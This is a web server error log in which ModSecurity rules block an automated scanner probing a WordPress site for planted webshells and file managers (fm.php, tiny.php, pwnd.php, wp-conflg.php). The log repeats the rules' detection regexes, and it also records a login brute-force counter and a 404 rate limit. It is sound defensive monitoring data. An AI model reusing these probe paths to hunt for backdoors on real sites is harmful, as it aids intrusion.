[Thu Apr 23 07:16:01.891470 2026] [:error] [pid 42971:tid 42992] [client 89.251.0.148:65503] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aelWsTEP2_5RswrH8bGOZAAAAAY"]
[Thu Apr 23 07:16:03.463957 2026] [:error] [pid 43083:tid 43102] [client 89.251.0.126:38921] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aelWszC5hrvNXosL83KuYgAAANE"]
[Thu Apr 23 07:16:04.146568 2026] [:error] [pid 64998:tid 65009] [client 89.251.0.120:56857] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aelWtIV5EysYcTLjmwjXrQAAAcc"]
[Thu Apr 23 07:16:05.989107 2026] [:error] [pid 64967:tid 64981] [client 89.251.0.142:63111] [client 89.251.0.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aelWtYAV4GfOOdX8Qzr5YgAAAYw"]
[Thu Apr 23 07:16:07.237993 2026] [:error] [pid 42971:tid 43005] [client 89.251.0.116:33701] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aelWtzEP2_5RswrH8bGO0QAAABM"]
[Thu Apr 23 07:16:08.388881 2026] [:error] [pid 64967:tid 64983] [client 89.251.0.145:56333] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aelWuIAV4GfOOdX8Qzr5fAAAAY4"]
[Thu Apr 23 07:16:10.228697 2026] [:error] [pid 65000:tid 65040] [client 89.251.0.138:56027] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aelWur6vRb9j6psK2ZZmowAAAgc"]
[Thu Apr 23 07:16:12.083453 2026] [:error] [pid 42973:tid 43067] [client 89.251.0.123:60349] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aelWvG6I0QqmmmLTHE3DGgAAAJg"]
[Thu Apr 23 07:16:13.950037 2026] [:error] [pid 65000:tid 65032] [client 89.251.0.135:30313] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aelWvb6vRb9j6psK2ZZm1gAAAgM"]
[Thu Apr 23 07:16:15.928636 2026] [:error] [pid 42973:tid 43050] [client 89.251.0.115:54883] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aelWv26I0QqmmmLTHE3DVwAAAIc"]
[Thu Apr 23 07:16:16.830109 2026] [:error] [pid 65000:tid 65038] [client 89.251.0.150:48065] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aelWwL6vRb9j6psK2ZZm7QAAAgU"]
[Thu Apr 23 07:16:24.034816 2026] [:error] [pid 42973:tid 43059] [client 89.251.0.147:57075] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aelWyG6I0QqmmmLTHE3DpwAAAJA"]
[Thu Apr 23 07:16:24.771189 2026] [:error] [pid 42973:tid 43067] [client 89.251.0.113:41457] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aelWyG6I0QqmmmLTHE3DrQAAAJg"]
[Thu Apr 23 07:16:25.769036 2026] [:error] [pid 43083:tid 43095] [client 89.251.0.143:51747] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aelWyTC5hrvNXosL83KvjwAAAMo"]
[Thu Apr 23 07:16:28.543818 2026] [:error] [pid 65000:tid 65048] [client 89.251.0.116:20231] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aelWzL6vRb9j6psK2ZZncwAAAg8"]
[Thu Apr 23 07:16:29.131353 2026] [:error] [pid 65000:tid 65039] [client 89.251.0.148:22373] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aelWzb6vRb9j6psK2ZZngwAAAgY"]
[Thu Apr 23 07:16:31.516492 2026] [:error] [pid 65000:tid 65049] [client 89.251.0.121:47177] [client 89.251.0.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aelWz76vRb9j6psK2ZZnvwAAAhA"]
[Thu Apr 23 07:16:32.125147 2026] [:error] [pid 65000:tid 65052] [client 89.251.0.127:44423] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aelW0L6vRb9j6psK2ZZn0QAAAhM"]
[Thu Apr 23 07:16:41.310192 2026] [:error] [pid 25635:tid 25662] [client 89.251.0.117:33483] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aelW2cRxv6UsgRGKB3LMHwAAARc"]
[Thu Apr 23 07:16:42.287027 2026] [proxy_fcgi:error] [pid 43083:tid 43102] [client 89.251.0.138:41303] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:16:42.932795 2026] [:error] [pid 43083:tid 43106] [client 89.251.0.138:41303] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aelW2jC5hrvNXosL83KwQAAAANU"]
[Thu Apr 23 07:16:44.228769 2026] [:error] [pid 42971:tid 42999] [client 89.251.0.126:34369] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aelW3DEP2_5RswrH8bGQIAAAAA0"]
[Thu Apr 23 07:16:45.755657 2026] [:error] [pid 43083:tid 43101] [client 89.251.0.136:29079] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aelW3TC5hrvNXosL83KwfQAAANA"]
[Thu Apr 23 07:16:46.393559 2026] [:error] [pid 43083:tid 43092] [client 89.251.0.129:26455] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aelW3jC5hrvNXosL83KwiAAAAMc"]
[Thu Apr 23 07:16:49.477313 2026] [:error] [pid 64998:tid 65014] [client 89.251.0.134:25233] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aelW4YV5EysYcTLjmwjZ8QAAAcw"]
[Thu Apr 23 07:16:51.738598 2026] [:error] [pid 42971:tid 42989] [client 89.251.0.148:24221] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aelW4zEP2_5RswrH8bGQVwAAAAM"]
[Thu Apr 23 07:16:54.798290 2026] [:error] [pid 64967:tid 64991] [client 89.251.0.148:61023] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aelW5oAV4GfOOdX8Qzr6mgAAAZY"]
[Thu Apr 23 07:16:56.836251 2026] [:error] [pid 42972:tid 43018] [client 89.251.0.116:43023] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aelW6MOAb-3sOknsk4cJRgAAAEI"]
[Thu Apr 23 07:17:00.222311 2026] [:error] [pid 25635:tid 25655] [client 89.251.0.137:52135] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aelW7MRxv6UsgRGKB3LMogAAARA"]
[Thu Apr 23 07:17:02.526135 2026] [:error] [pid 42973:tid 43050] [client 89.251.0.139:57847] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aelW7m6I0QqmmmLTHE3FFAAAAIc"]
[Thu Apr 23 07:17:03.462496 2026] [:error] [pid 65000:tid 65054] [client 89.251.0.133:39735] [client 89.251.0.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aelW776vRb9j6psK2ZZpiQAAAhU"]
[Thu Apr 23 07:17:07.358839 2026] [:error] [pid 43083:tid 43104] [client 89.251.0.150:56517] [client 89.251.0.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.150, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aelW8zC5hrvNXosL83KxQwAAANM"]
[Thu Apr 23 07:17:09.410089 2026] [:error] [pid 43083:tid 43098] [client 89.251.0.150:56517] [client 89.251.0.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.150, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aelW9TC5hrvNXosL83KxXAAAAM0"]
[Thu Apr 23 07:17:13.691292 2026] [proxy_fcgi:error] [pid 43083:tid 43090] [client 89.251.0.150:56517] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:17:19.191383 2026] [:error] [pid 43083:tid 43093] [client 89.251.0.150:56517] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aelW_zC5hrvNXosL83KyAgAAAMg"]
[Thu Apr 23 07:17:20.937006 2026] [:error] [pid 42971:tid 43003] [client 89.251.0.146:56075] [client 89.251.0.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aelXADEP2_5RswrH8bGRkgAAABE"]
[Thu Apr 23 07:17:22.854581 2026] [:error] [pid 64967:tid 64984] [client 89.251.0.117:58891] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aelXAoAV4GfOOdX8Qzr7sgAAAY8"]
[Thu Apr 23 07:17:26.398757 2026] [:error] [pid 42972:tid 43035] [client 89.251.0.142:37011] [client 89.251.0.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aelXBsOAb-3sOknsk4cKrAAAAFM"]
[Thu Apr 23 07:17:28.077970 2026] [:error] [pid 42971:tid 43003] [client 89.251.0.129:44965] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aelXCDEP2_5RswrH8bGR9wAAABE"]
[Thu Apr 23 07:17:29.409763 2026] [:error] [pid 64967:tid 64986] [client 89.251.0.129:37269] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aelXCYAV4GfOOdX8Qzr8EAAAAZE"]
[Thu Apr 23 07:17:31.829938 2026] [proxy_fcgi:error] [pid 64967:tid 64974] [client 89.251.0.117:45735] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:17:32.102631 2026] [proxy_fcgi:error] [pid 64967:tid 64970] [client 89.251.0.117:45735] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:17:32.392595 2026] [:error] [pid 64967:tid 64975] [client 89.251.0.117:45735] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aelXDIAV4GfOOdX8Qzr8JgAAAYY"]
[Thu Apr 23 07:17:32.977516 2026] [:error] [pid 59700:tid 59703] [client 89.251.0.116:57519] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aelXDJXyGZJFeAIDWtlDjgAAAUE"]
[Thu Apr 23 07:17:36.308341 2026] [:error] [pid 42972:tid 43040] [client 89.251.0.127:28823] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aelXEMOAb-3sOknsk4cLEQAAAFg"]
[Thu Apr 23 07:17:37.287126 2026] [:error] [pid 64998:tid 65006] [client 89.251.0.120:20027] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aelXEYV5EysYcTLjmwjbsAAAAcQ"]
[Thu Apr 23 07:17:38.942441 2026] [:error] [pid 42973:tid 43050] [client 89.251.0.141:36771] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aelXEm6I0QqmmmLTHE3GwQAAAIc"]
[Thu Apr 23 07:17:42.177004 2026] [:error] [pid 59700:tid 59714] [client 89.251.0.116:44999] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aelXFpXyGZJFeAIDWtlELwAAAUw"]
[Thu Apr 23 07:17:42.939154 2026] [proxy_fcgi:error] [pid 42972:tid 43022] [client 89.251.0.140:54223] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:17:44.003620 2026] [:error] [pid 42972:tid 43026] [client 89.251.0.140:54223] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aelXGMOAb-3sOknsk4cLTwAAAEo"]
[Thu Apr 23 07:18:30.015393 2026] [autoindex:error] [pid 65000:tid 65057] [client 89.251.0.133:52581] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 07:24:05.545832 2026] [:error] [pid 42973:tid 43043] [client 89.251.0.138:30483] [client 89.251.0.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aelYlW6I0QqmmmLTHE3VtgAAAIA"]
[Thu Apr 23 07:24:29.536488 2026] [:error] [pid 42972:tid 43020] [client 89.251.0.136:45731] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aelYrcOAb-3sOknsk4cZawAAAEQ"]
[Thu Apr 23 07:24:31.354203 2026] [:error] [pid 42972:tid 43040] [client 89.251.0.117:20157] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aelYr8OAb-3sOknsk4cZfAAAAFg"]
